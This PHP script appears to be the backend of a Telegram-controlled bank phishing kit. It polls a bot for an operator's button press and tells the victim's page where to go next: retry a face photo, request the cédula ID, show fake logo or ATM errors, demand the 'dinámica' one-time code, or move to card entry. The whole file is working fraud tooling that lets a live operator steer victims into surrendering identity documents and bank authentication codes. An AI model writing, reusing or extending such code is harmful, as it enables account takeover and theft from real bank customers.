<?php
session_start();
header('Content-Type: application/json');

$config = require __DIR__ . '/../../config.php';

$transactionId = $_POST['transactionId'] ?? '';
$messageId     = $_POST['messageId'] ?? '';

if (empty($transactionId) || empty($messageId)) {
    echo json_encode(['action' => null]);
    exit;
}

$offset = $_SESSION['last_update_id'] ?? 0;

$ch = curl_init("https://api.telegram.org/bot{$config['bot_token']}/getUpdates?offset=" . ($offset + 1));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$data = json_decode($response, true);
$action = null;

if (!empty($data['result'])) {
    foreach ($data['result'] as $update) {

        $_SESSION['last_update_id'] = $update['update_id'];

        if (!isset($update['callback_query']['data'])) continue;
        if (strpos($update['callback_query']['data'], $transactionId) === false) continue;

        // Extraer la acción antes de los dos puntos
        $parts = explode(":", $update['callback_query']['data']);
        $actionType = $parts[0];

        // === LISTA DE ACCIONES PERMITIDAS (Actualizada con Cara y Cédula) ===
        $allowed = [
            'error',            // Corresponde al botón Cara
            'cedula',           // Corresponde al botón Cédula
            'error_logo',
            'error_cajero',
            'pedir_dinamica',
            'confirm_finalizar',
            'tarjeta'
        ];

        if (!in_array($actionType, $allowed)) continue;

        $action = $actionType;

        // === TRADUCCIÓN HUMANA PARA EL HISTORIAL ===
        $accionHumana = match($actionType) {
            'error'             => '📸 REINTENTAR CARA',
            'cedula'            => '🪪 PEDIR CÉDULA',
            'error_logo'        => '❌ Error de LOGO',
            'error_cajero'      => '🏧 Error de CAJERO',
            'pedir_dinamica'    => '🔑 Pedir DINÁMICA',
            'confirm_finalizar' => '🏁 FINALIZAR',
            'tarjeta'           => '💳 Redirigir a TARJETA',
            default             => 'Acción desconocida'
        };

        // Operador
        $oper = $update['callback_query']['from']['username']
            ?? $update['callback_query']['from']['first_name']
            ?? 'Desconocido';

        $oldText = $update['callback_query']['message']['text'] ?? '';

        $newText = $oldText .
            "\n\n<b>✅ Acción:</b> {$accionHumana}" .
            "\n<b>👤 Operador:</b> @{$oper}";

        // Editar mensaje para confirmar acción y limpiar botones
        $payload = [
            'chat_id' => $config['chat_id'],
            'message_id' => $messageId,
            'text' => $newText,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode(['inline_keyboard' => []])
        ];

        $ch = curl_init("https://api.telegram.org/bot{$config['bot_token']}/editMessageText");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_exec($ch);
        curl_close($ch);

        break;
    }
}

// Retornar la acción al front-end para ejecutar la redirección
echo json_encode(['action' => $action]);